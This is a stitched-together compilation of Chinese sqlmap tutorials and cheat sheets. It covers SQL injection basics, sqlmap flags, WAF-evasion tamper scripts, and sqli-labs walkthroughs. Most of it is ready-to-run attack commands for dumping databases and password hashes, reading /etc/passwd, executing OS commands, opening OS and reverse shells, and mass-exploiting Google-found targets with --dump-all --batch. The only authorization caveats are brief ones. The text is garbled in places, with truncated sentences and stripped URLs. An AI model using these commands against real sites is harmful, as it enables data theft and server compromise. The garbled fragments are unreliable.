在进行测试之前,我们需要确保已经获得了合法的授权,以免触犯法律。
一旦我们确定了目标网站,我们可以使用以下命令来启动sqlmap扫描:```sqlmap -u <目标URL>```在这个命令中,“-u”参数用于指定目标URL。
sqlmap将自动发送各种SQL注入测试请求,并分析响应以确定是否存在注入漏洞。
除了“-u”参数,sqlmap还提供了许多其他参数,用于指定测试的详细选项。
例如,“--level”参数用于指定测试的深度,取值范围为1到5,默认为1。
较高的级别将执行更多的测试,但可能会导致更多的误报。
另外,“--risk”参数用于指定测试的风险级别,取值范围为1到3,默认为1。
较高的风险级别将执行更多的测试,但可能会导致更多的破坏。
在扫描过程中,sqlmap将输出详细的测试结果和进度信息。
我们可以根据输出的结果来判断是否存在注入漏洞,并进一步利用这些漏洞进行攻击。
sqlmap还提供了一些其他功能,例如自动获取数据库信息、执行操作系统命令等。
然而,使用sqlmap进行SQL注入测试也有一些注意事项。
首先,我们必须确保已经获得了合法的授权,并且仅在授权范围内进行测试。
其次,我们应该避免对生产环境进行测试,以免造成不必要的损失。
另外,我们应该谨慎使用sqlmap的高级功能,以免触犯法律或造成不可逆的破坏。
总之,sqlmap是一款功能强大的SQL注入测试工具,可以帮助安全测试人员快速发现和利用Web应用程序中的注入漏洞。
sqlmap使用
SQLmap简介以及防火墙绕过方法简介许多现实中对于网站的攻击往往是由于网站没有及时更新或者对于用户的输入没有进行检查。
从缓冲区溢出说起,这样一种针对系统脆弱性的威胁,最根本的问题还是在于对于用户的输入没有进行检查。
作为主要威胁之一的SQL注入带来了人们对于其应用和数据库的担忧。
这个问题的出现有十年的时间了,但是现在仍旧在许多网站中出现。
SQL注入就像许多当前主要的的web应用安全攻击问题也被划归在了对于用户输入的检查上。
正文许多web开发者并不知道SQL语句能够被自定义(handle)并且假定SQL语句是一个让人信任的命令。
这就让SQL语句能够绕过访问控制机制(access control),因此跳过标准的授权和认证检查。
甚至有些时候SQL语句能够允许使用服务器操作系统上的命令行的权限。
直接的SQL注入命令是一种方法,它被攻击者构造或者是修改现成的SQL命令来暴露出隐藏的数据或者是覆盖掉有价值的数据,甚至在服务器上执行危险地系统指令入门结构化的语言是数据库的标准声明语言。
这让(语言)变的更加简洁并且更易于使用。
SQL起源于70年代的IBM实验室。
SQ L被用来让应用程序与数据库之间进行通信。
SQL使用如下的4种语言来对数据库进行操作SELECT-从数据库中获得一条记录INSERT-向数据库中插入一条记录DELETE-从数据库中删除一条记录UPDATE-从数据库中更新或者改变当前记录当用户提交的语句被用作数据库的查询语句时SQL就能够发生。
比如当用户被网站认证授权,用户发送一个带有"用户名"和"密码"的信息,用户名/密码就与存放在数据库中的内容进行核对。
如果相同的话用户就被允许登录,否则用户登录失败。
以下是一个在后台进行登录的例子。
代码这个语句简单地指明了从user的表中查询用户名和username相等的,并且密码和password相等的。
所以,如果用户发送用户名为"admin",并且密码为"12345",那么SQL语句被创建如下:注入那么,如果用户输入' or '1'='1,第一个引号会终止输入的字符串,剩下的会被当做SQL语句,并且在SQL语句中1=1恒为真,这就能够让我们绕过注册机制SELECT * FROM user WHERE username='admin' AND password =''or '1'='1' -TRUE上述是一个SQL注入的简单地例子,然而在实际过程中,SQL注入比这要复杂的多。
sqlmap使用教程(超详细)
sqlmap使⽤教程(超详细)-u 指定⽬标URL (可以是http协议也可以是https协议)-d 连接数据库--dbs 列出所有的数据库--current-db 列出当前数据库--tables 列出当前的表--columns 列出当前的列-D 选择使⽤哪个数据库-T 选择使⽤哪个表-C 选择使⽤哪个列--dump 获取字段中的数据--batch ⾃动选择yes--smart 启发式快速判断,节约浪费时间--forms 尝试使⽤post注⼊-r 加载⽂件中的HTTP请求(本地保存的请求包txt⽂件)-l 加载⽂件中的HTTP请求(本地保存的请求包⽇志⽂件)-g ⾃动获取Google搜索的前⼀百个结果,对有GET参数的URL测试-o 开启所有默认性能优化--tamper 调⽤脚本进⾏注⼊-v 指定sqlmap的回显等级--delay 设置多久访问⼀次--os-shell 获取主机shell,⼀般不太好⽤,因为没权限-m 批量操作-c 指定配置⽂件,会按照该配置⽂件执⾏动作-data data指定的数据会当做post数据提交-timeout 设定超时时间-level 设置注⼊探测等级--risk 风险等级--identify-waf 检测防⽕墙类型--param-del="分割符" 设置参数的分割符--skip-urlencode 不进⾏url编码--keep-alive 设置持久连接,加快探测速度--null-connection 检索没有body响应的内容,多⽤于盲注--thread 最⼤为10 设置多线程--delay有些web服务器请求访问太过频繁可能会被防⽕墙拦截,使⽤--delay就可以设定两次http请求的延时--safe-url有的web服务器会在多次错误的访问请求后屏蔽所有请求,使⽤--safe-url 就可以每隔⼀段时间去访问⼀个正常的页⾯。
--tamper语法:--tamper ["脚本名称"]当调⽤多个脚本的时候,脚本之间⽤逗号隔开,调⽤的脚本在 sqlmap⽂件夹下的 tamper ⽂件夹中脚本信息apostrophemask.py ⽤UTF-8全⾓字符替换单引号字符apostrophenullencode.py ⽤⾮法双字节unicode字符替换单引号字符appendnullbyte.py 在payload末尾添加空字符编码base64encode.py 对给定的payload全部字符使⽤Base64编码between.py 分别⽤“NOT BETWEEN 0 AND #”替换⼤于号“>”,“BETWEEN # AND #”替换等于号“=”bluecoat.py 在SQL语句之后⽤有效的随机空⽩符替换空格符,随后⽤“LIKE”替换等于号“=”chardoubleencode.py 对给定的payload全部字符使⽤双重URL编码(不处理已经编码的字符)charencode.py 对给定的payload全部字符使⽤URL编码(不处理已经编码的字符)charunicodeencode.py 对给定的payload的⾮编码字符使⽤Unicode URL编码(不处理已经编码的字符)concat2concatws.py ⽤“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例equaltolike.py ⽤“LIKE”运算符替换全部等于号“=”greatest.py ⽤“GREATEST”函数替换⼤于号“>”halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释ifnull2ifisnull.py ⽤“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例lowercase.py ⽤⼩写值替换每个关键字字符modsecurityversioned.py ⽤注释包围完整的查询modsecurityzeroversioned.py ⽤当中带有数字零的注释包围完整的查询multiplespaces.py 在SQL关键字周围添加多个空格nonrecursivereplacement.py ⽤representations替换预定义SQL关键字,适⽤于过滤器overlongutf8.py 转换给定的payload当中的所有字符percentage.py 在每个字符之前添加⼀个百分号randomcase.py 随机转换每个关键字字符的⼤⼩写randomcomments.py 向SQL关键字中插⼊随机注释securesphere.py 添加经过特殊构造的字符串sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logsspace2comment.py ⽤“/**/”替换空格符space2dash.py ⽤破折号注释符“--”其次是⼀个随机字符串和⼀个换⾏符替换空格符space2hash.py ⽤磅注释符“#”其次是⼀个随机字符串和⼀个换⾏符替换空格符space2morehash.py ⽤磅注释符“#”其次是⼀个随机字符串和⼀个换⾏符替换空格符space2mssqlblank.py ⽤⼀组有效的备选字符集当中的随机空⽩符替换空格符space2mssqlhash.py ⽤磅注释符“#”其次是⼀个换⾏符替换空格符space2mysqlblank.py ⽤⼀组有效的备选字符集当中的随机空⽩符替换空格符space2mysqldash.py ⽤破折号注释符“--”其次是⼀个换⾏符替换空格符space2plus.py ⽤加号“+”替换空格符space2randomblank.py ⽤⼀组有效的备选字符集当中的随机空⽩符替换空格符unionalltounion.py ⽤“UNION SELECT”替换“UNION ALL SELECT”unmagicquotes.py ⽤⼀个多字节组合%bf%27和末尾通⽤注释⼀起替换空格符宽字节注⼊varnish.py 添加⼀个HTTP头“X-originating-IP”来绕过WAFversionedkeywords.py ⽤MySQL注释包围每个⾮函数关键字versionedmorekeywords.py ⽤MySQL注释包围每个关键字xforwardedfor.py 添加⼀个伪造的HTTP头“X-Forwarded-For”来绕过WAF-v ["x"]使⽤sqlmap注⼊测试时,可以使⽤ -v [x] 参数来指定回显信息的复杂程度, x 的取值范围为[0~6]:等级解释0只显⽰python错误以及严重信息1同时显⽰基本信息和警告信息2同时显⽰debug信息3同时显⽰注⼊的pyload4同时显⽰HTTP请求5同时显⽰HTTP相应头6同时显⽰HTTP相应页⾯--levellevel有5个等级,默认等级为1,进⾏Cookie测试时使⽤--level 2 ,进⾏use-agent或refer测试时使⽤--level 3 ,进⾏ host 测试时使⽤--level 5–-os-cmd=["命令"] 或 --os-shell=["命令"] 执⾏系统命令利⽤sql-labs-less1测试 whoami 命令sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami选择web服务器⽀持的语⾔选择web服务器的可写⽬录[1] 使⽤默认的[2] ⾃定义位置[3] ⾃定义⽬录列表⽂件[4] 暴⼒搜索我在本地测试,节省时间,我选择2 ,⾃定义路径,然后把路径输⼊在下⾯执⾏命令后的返回结果以下关卡均可⽤get型的⽅法,常规注⼊step1:sqlmap -u ["URL"] //测试是否存在注⼊step2:sqlmap -u ["URL"] -current-db //查询当前数据库step3:sqlmap -u ["URL"] -D ["数据库名"] --tables //查询当前数据库中的所有表step4:sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] --columns //查询指定库中指定表的所有列(字段)step5:sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] -C ["列名"] --dump //打印出指定库中指定表指定列中的字段内容GET型关卡类型sql-labs-less1GET单引号字符型注⼊sql-labs-less2 数字型注⼊sql-labs-less3有括号的单引号报错注⼊sql-labs-less4有括号的双引号报错注⼊sql-labs-less5单引号⼆次注⼊sql-labs-less6双引号⼆次注⼊sql-labs-less7⽂件导⼊导出sql-labs-less8布尔型盲注sql-labs-less9时间型盲注sql-labs-less10双引号时间盲注sql注⼊检测get型:语法:sqlmap -u ["url"]sqlmap -u http://192.168.0.6/sqli-labs-master/Less-1/?id=1post型:先使⽤bp把提交的数据包保存下来或者直接加上post提交的参数语法:sqlmap -r ["请求包的txt⽂件"]sqlmap -r "/root/.sqlmap/post.txt"sql-labs -less1~sql-labs-less9获取当前数据库名称:语法:sqlmap -u [“url”] --current-dbsqlmap -u "http://192.168.0.6/sqli-labs-master/Less-1/?id=1" --current-db获取指定数据库的表名:语法:sqlmap -u [“url”] -D [‘数据库名’] --tablessqlmap -u "192.168.0.6/sqli-labs-master/Less-1/?id=1" -D security --tables获取指定数据库指定表中的字段:语法:sqlmap -u [“url”] -D [‘数据库名’] -T[‘表名’] --columnssqlmap -u "192.168.0.6/sqli-labs-master/Less-1/?id=1" -D security -T users --columns获取指定数据库指定表的指定字段的字段内容:语法:sqlmap -u [“url”] -D [‘数据库名’] -T [‘表名’] -C [‘字段名1,字段名2,…’] --dumpsqlmap -u "192.168.0.6/sqli-labs-master/Less-1/?id=1" -D security -T users -C password --dumpsql-labs-less10sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-10/?id=1" --current-db提升等级 -level 2sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-10/?id=1" -level 2 --current-dbsql-labs-less11~less17常规 POST 注⼊step1:sqlmap -r ["请求头⽂本"] //测试是否存在注⼊step2:sqlmap -r ["请求头⽂本"] --current-db //查询当前数据库step3:sqlmap -r ["请求头⽂本"] -D ["数据库名"] --tables //查询当前数据库的所有表step4:sqlmap -r ["请求头⽂本"] -D ["数据库名"] -T ["表名"] --columns //查询指定库指定表的所有列step5:sqlmap -r ["请求头⽂本"] -D ["数据库名"] -T ["表名"] -C ["列名"] --dump //打印出指定库指定表指定列的所有字段内容POST关卡类型sql-labs-less11基于错误的单引号字符型注⼊sql-labs-less12基于错误的双引号字符型注⼊sql-labs-less13单引号变形双注⼊sql-labs-less14双引号变形双注⼊sql-labs-less15Bool型时间延迟单引号盲注sql-labs-less16Bool型时间延迟双引号盲注sql-labs-less17更新查询注⼊sql-labs-less18Uagent注⼊sql-labs-less19Referer注⼊sql-labs-less20Cookie注⼊sql-labs-less18Header injection - Uagentsqlmap 在对user-agent 注⼊的时候,得在⽂件中的user-agent的参数后⾯加上 *或者不加 * 号,调⽤ --level参数,将等级调⾄ 3级,只有等级为 3级即以上时才能对 user-agent进⾏注⼊sqlmap -r "/root/.sqlmap/post.txt" -level 3sql-labs-less19Header injection - Referer对Referer注⼊和User-agent相同,要么是在Referer后⾯加上 *或者将 level 调⾄ 3 级sql-labs-less20Header injection -Cookie语法:sqlmap -u [“url”] --cookie ["cookie信息"] --level 2sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-20/index.php" --cookie "pma_lang=zh_CN;pma_mcrypt_iv=AoXpKxU5KcY%3D;pmaUser-1=7%2FwV%2BDOfbmI%3D;uname=admin;" --level 2。
sqlmap使用方法总结 -回复
sqlmap使用方法总结-回复SQLMap 使用方法总结SQLMap 是一款开源的自动化SQL 注入工具,用于检测和利用Web 应用程序中的SQL 注入漏洞。
它具有强大的功能和易于使用的界面,可以帮助安全研究人员快速发现和利用SQL 注入漏洞。
本文将逐步介绍SQLMap 的使用方法,以便读者能够更好地利用该工具进行渗透测试和漏洞发现。
第一步-安装SQLMap首先,我们需要安装SQLMap。
SQLMap 是用Python 编写的,因此我们需要先安装Python。
在Windows 上,可以从Python 官方网站下载并安装Python。
在Linux 上,可以使用包管理器来安装Python。
安装完成后,我们可以使用以下命令检查Python 是否安装成功:python version如果能够正确显示Python 版本号,则说明安装成功。
第二步-扫描目标在开始使用SQLMap 前,我们需要找到一个目标网站,然后使用SQLMap 来扫描该网站以查找潜在的SQL 注入漏洞。
假设我们要扫描的目标网站是`要扫描目标网站,我们可以在命令行中执行以下命令:sqlmap -u这将启动SQLMap 并使用默认的扫描选项对目标网站进行扫描。
很快,SQLMap 将开始发送不同类型的注入测试请求,并分析响应以检测潜在的SQL 注入漏洞。
第三步-选择注入点SQLMap 会自动发送多个注入测试请求,并在每个请求中插入不同的注入载荷。
在扫描完成后,SQLMap 会生成一个报告,其中包含所有检测到的注入点。
在这个报告中,我们可以看到目标网站中所有可能的注入点。
我们可以选择其中一个注入点来进一步验证和利用。
要选择一个注入点,我们需要查看报告,并找到一个具有潜在漏洞的注入点的URL。
URL 通常包含动态参数,例如`?id=1`。
SQLMap 使用`data` 和`url` 选项来指定注入点。
例如,如果目标网站的注入点URL 是`sqlmap -u "第四步-测试注入点一旦我们选择了一个注入点,我们可以使用SQLMap 进一步测试该注入点以验证漏洞的真实性和可利用性。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
Sqlmap 最新测试文档 Email:linuxseclab@
测试许多款sql注入工具 最终还是发现sqlmap 最为强悍 谁用谁知道!
赶紧抛弃掉手上一大堆sql注入工具吧 : )
测试环境:ubuntu 10.10 & windows 7(x64) sqlmap/1.0-dev (r4405)
如使用过程中出错 请使用下面最近更新的稳定版本:
/c0adthmqf1
更新升级 :
sqlmap -update
svn checkout https:///sqlmap/trunk/sqlmap sqlmap-dev
帮助:
sqlmap -h
官方最新文档:/doc/README.html
******************基本步骤***************
sqlmap -u "http://url/news?id=1" --current-user #获取当前用户名称
sqlmap -u "/news?id=1" --current-db #获取当前数据库名称
sqlmap -u "/news?id=1" --tables -D "db_name" #列表名
sqlmap -u "http://url/news?id=1" --columns -T "tablename" users-D "db_name" -v 0 #列字段sqlmap -u "http://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0 #获取字段内容
******************信息获取******************
sqlmap -u "http://url/news?id=1" --smart --level 3 --users # smart智能 level 执行测试等级
sqlmap -u "http://url/news?id=1" --dbms "Mysql" --users # dbms 指定数据库类型
sqlmap -u "http://url/news?id=1" --users #列数据库用户
sqlmap -u "http://url/news?id=1" --dbs#列数据库
sqlmap -u "http://url/news?id=1" --passwords #数据库用户密码
sqlmap -u "http://url/news?id=1" --passwords-U root -v 0 #列出指定用户数据库密码sqlmap -u "http://url/news?id=1" --dump -C "password,user,id" -T "tablename" -D "db_name" --start 1 --stop 20 #列出指定字段,列出20条
sqlmap -u "http://url/news?id=1" --dump-all -v 0 #列出所有数据库所有表
sqlmap -u "http://url/news?id=1" --privileges #查看权限
sqlmap -u "http://url/news?id=1" --privileges -U root #查看指定用户权限
sqlmap -u "http://url/news?id=1" --is-dba -v 1 #是否是数据库管理员
sqlmap -u "http://url/news?id=1" --roles #枚举数据库用户角色
sqlmap -u "http://url/news?id=1" --udf-inject #导入用户自定义函数(获取系统权限!)sqlmap -u "http://url/news?id=1" --dump-all --exclude-sysdbs -v 0 #列出当前库所有表sqlmap -u "http://url/news?id=1" --union-cols #union 查询表记录
sqlmap -u "http://url/news?id=1" --cookie "COOKIE_V ALUE" #cookie注入
sqlmap -u "http://url/news?id=1" -b #获取banner信息
sqlmap -u "http://url/news?id=1" --data "id=3" #post注入
sqlmap -u "http://url/news?id=1" -v 1 -f #指纹判别数据库类型
sqlmap -u "http://url/news?id=1" --proxy"http://127.0.0.1:8118" #代理注入
sqlmap -u "http://url/news?id=1"--string"STRING_ON_TRUE_PAGE" #指定关键词
sqlmap -u "http://url/news?id=1" --sql-shell #执行指定sql命令
sqlmap -u "http://url/news?id=1" --file /etc/passwd
sqlmap -u "http://url/news?id=1" --os-cmd=whoami #执行系统命令
sqlmap -u "http://url/news?id=1" --os-shell #系统交互shell
sqlmap -u "http://url/news?id=1" --os-pwn #反弹shell
sqlmap -u "http://url/news?id=1" --reg-read #读取win系统注册表
sqlmap -u "http://url/news?id=1" --dbs-o "sqlmap.log" #保存进度
sqlmap -u "http://url/news?id=1" --dbs -o "sqlmap.log" --resume #恢复已保存进度sqlmap -g "google语法" --dump-all --batch #google搜索注入点自动 跑出所有字段
攻击实例:
sqlmap -u "http://url/news?id=1&Submit=Submit" --cookie="PHPSESSID=41aa833e6d0d 28f489ff1ab5a7531406" --string="Surname" --dbms=mysql --users --password
***********安装最新版本*************
ubuntu 通过 apt-get install 安装的sqlmap版本为 0.6
我们通过svn 来安装 为 最新 1.0版
sudo svn checkout https:///sqlmap/trunk/sqlmap sqlmap-dev
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py
直接执行 /home/当前用户/sqlmap-dev/sqlmap.py --version
这样很不方便 我们可以设置 .bashrc 文件
sudo vim /home/当前用户/.bashrc
#任意位置加上:
alias sqlmap='python /home/seclab/sqlmap-dev/sqlmap.py'
该环境变量只对当前用户有效
如果想对所有用户有效 可设置全局 编辑下面的文件
vim /etc/profile
同样加上:
alias sqlmap='python /home/seclab/sqlmap-dev/sqlmap.py'
重启生效
******************windows 7 (x64) sqlmap install (SVN)************
/getit/ 安装python
/en/download 安装windows svn client
svn checkout https:///sqlmap/trunk/sqlmap sqlmap-dev 安装sqlmap
*修改环境变量
更多信息请关注 /nginxshell。